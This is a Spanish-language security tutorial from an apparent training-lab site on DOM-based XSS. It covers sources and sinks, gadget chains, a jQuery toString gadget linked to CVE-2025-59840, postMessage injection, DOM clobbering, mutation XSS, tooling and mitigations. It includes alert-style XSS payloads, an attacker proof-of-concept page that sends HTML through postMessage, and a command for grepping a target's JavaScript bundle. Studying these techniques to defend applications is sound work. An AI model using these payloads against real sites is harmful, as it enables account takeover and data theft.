Nuevos labs cada semana — Accede a todos desde 5€/mes

Nivel AvanzadoGratis

DOM XSS — gadgets, postMessage handlers y CVE-2025-59840

DOM XSS no es solo innerHTML. Sources/sinks, gadget chains via toString(), postMessage handlers sin origin check, hash-based routing rotos.

Gorka El Bochi9 de mayo de 202613 min

Respuesta rápida

DOM XSS ocurre cuando datos controlados por el atacante (location.hash, postMessage data, URL params) llegan a sinks peligrosos sin sanitización (innerHTML, eval, document.write, location.href). En 2025-2026 los vectores más rentables son gadgets en libraries populares (lodash, jQuery, helpers internos), postMessage handlers sin validar origin, y client-side routing roto que mete user input en eval.


Sources y sinks (refresher)

Sources — donde entra el atacante:

javascript
location.href, location.hash, location.search, location.pathname
document.URL, document.documentURI
document.referrer
document.cookie
window.name
postMessage e.data
localStorage / sessionStorage (si poblado por otro origin via XSS previo)
WebSockets messages

Sinks — donde se ejecuta:

javascript
// HTML rendering
element.innerHTML = userInput
element.outerHTML = userInput
document.write(userInput)
document.writeln(userInput)

// Code execution
eval(userInput)
Function(userInput)
setTimeout(userInput, 100)
setInterval(userInput, 100)

// URL navigation (XSS via javascript:)
location.href = userInput
location.assign(userInput)
location.replace(userInput)
window.open(userInput)

// Attribute setting (depending on element)
element.setAttribute('href', userInput)
element.src = userInput

DOM XSS clásico

javascript
// Source: location.hash
const param = location.hash.substring(1);
// Sink: innerHTML
document.getElementById('content').innerHTML = param;

Payload: https://target.tld/page#<img src=x onerror=alert(1)>.


Gadget chains modernos

A veces el flow no es directo. El input pasa por funciones del codebase que transforman pero no sanitizan:

javascript
const data = JSON.parse(decodeURIComponent(location.hash.substring(1)));
const html = renderTemplate(data);  // template usa data.title sin escape
contentEl.innerHTML = html;

El payload necesita ser JSON válido + tener title con HTML.

CVE-2025-59840 — toString gadget en jQuery (ejemplo conceptual)

Algunas libs aplican String(input) o input.toString() sin escapar. Si input es un objeto con toString custom:

javascript
const payload = {
  toString() { return "<img src=x onerror=alert(1)>"; }
};
$('#div').html(payload);  // jQuery hace String(payload) → invoca toString → XSS

Útil cuando el sink valida tipo string pero acepta cualquier cosa stringificable.


postMessage XSS

Cuando un listener procesa e.data sin validar e.origin:

javascript
window.addEventListener('message', e => {
  // ❌ NO valida e.origin
  document.getElementById(e.data.target).innerHTML = e.data.html;
});

PoC del atacante:

javascript
// Página atacante
const win = window.open('https://target.tld/');
setTimeout(() => {
  win.postMessage({
    target: 'main-content',
    html: '<img src=x onerror=alert(document.domain)>'
  }, '*');
}, 2000);

Variante: si target acepta postMessage solo de mismo origin pero hay un iframe legítimo (CDN, embed), el atacante mete su iframe que apunta al CDN whitelisted con HTML controlado.

Ver el caso real "Zero-Click Message Injection via postMessage" en la Academy.


DOM Clobbering

HTML elements con id o name se acceden via window.<id> y document.<name>. Si un script hace:

javascript
const config = window.config || { strict: true };

Y la página tiene un <form id="config"> controlado por el atacante (ej. via Stored HTML injection en comentario), window.config apunta al form HTMLElement, no al objeto esperado.

html
<form id="config" name="strict"></form>
<input name="strict">  <!-- now window.config.strict es el input element -->

Consecuencia: lógica del JS rota → bypass de checks ("if config.strict do...").


Hash routing rotos

Apps SPA con routing client-side. Si el route handler hace:

javascript
const route = location.hash.substring(1).split('/');
const handler = routes[route[0]];
handler(route[1]);  // route[1] es atacante-controlled

Si algún handler mete route[1] en innerHTML, eval o document.write → XSS.

Patrón frecuente: paths que aceptan parámetros usados en strings de error verbose:

ini
/profile/<user_id>     →  document.title = "Profile of " + userId
                       →  Si userId tiene HTML y title se renderiza en algún DOM, XSS

Mutation XSS (mXSS)

El parser HTML del browser muta el HTML al insertarlo. Si la sanitización ocurre antes de la inserción y el browser muta el HTML al insertarlo, el resultado puede ser un XSS.

javascript
const sanitized = DOMPurify.sanitize(input);  // input limpio
element.innerHTML = sanitized;
// Pero al insertarlo en context noscript/style/template, el browser parsea diferente

Vectores frecuentes: SVG con namespace mishandling, MathML, comments con caracteres especiales. Ver artículo dedicado a Mutation XSS.


Tooling

Burp DOM Invader

Built-in en Burp Pro. Inyecta canary en sources del DOM y rastrea hasta sinks. Detecta gadget chains automáticamente.

Static analysis

Para JS bundle:

bash
# Buscar sinks peligrosos en código minificado
curl https://target.tld/main.abc123.js | grep -E '(innerHTML|outerHTML|document\.write|eval\(|Function\()' -n

Manual code review del bundle revela patrones específicos del codebase.

Dynamic testing

javascript
// Inyectar canary en cada source y verificar
location.hash = 'CANARY_HASH';
window.name = 'CANARY_NAME';
document.cookie = 'test=CANARY_COOKIE';
postMessage('CANARY_PM', '*');

// Buscar CANARY en innerHTML, eval, etc.

Hunting checklist

  • ¿La app es SPA con routing client-side? Probar payloads en cada path segment.
  • ¿Hay location.hash parseado y usado en innerHTML/eval?
  • ¿postMessage listeners sin e.origin check?
  • ¿Window.name accesible cross-frame y usado dentro?
  • ¿document.cookie parseado y reflejado en DOM?
  • ¿Static review del bundle en busca de innerHTML, eval, document.write?
  • ¿Hay templates client-side (Handlebars, Mustache, Lodash) con input sin escape?
  • ¿postMessage usa targetOrigin: "*" desde el iframe?
  • ¿Errores en consola que revelan estructura del estado (gadgets potenciales)?

Mitigación correcta

  1. Tratar todas las sources como user input. Sanitizar siempre antes de sink.
  2. Validar e.origin en cada postMessage handler. Allowlist explícita.
  3. Usar textContent no innerHTML salvo que necesites HTML.
  4. DOMPurify correcta (no listas custom de allowed tags sin entender mXSS).
  5. CSP estricta: script-src 'self', script-src-elem, script-src-attr para bloquear inline.
  6. Trusted Types API en navegadores modernos — fuerza sanitización tipada.

Labs relacionados

Practica gadget chains, postMessage XSS, DOM clobbering y mXSS en apps reales: labs de DOM XSS.

Practica esto en un lab

Dom Xss

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados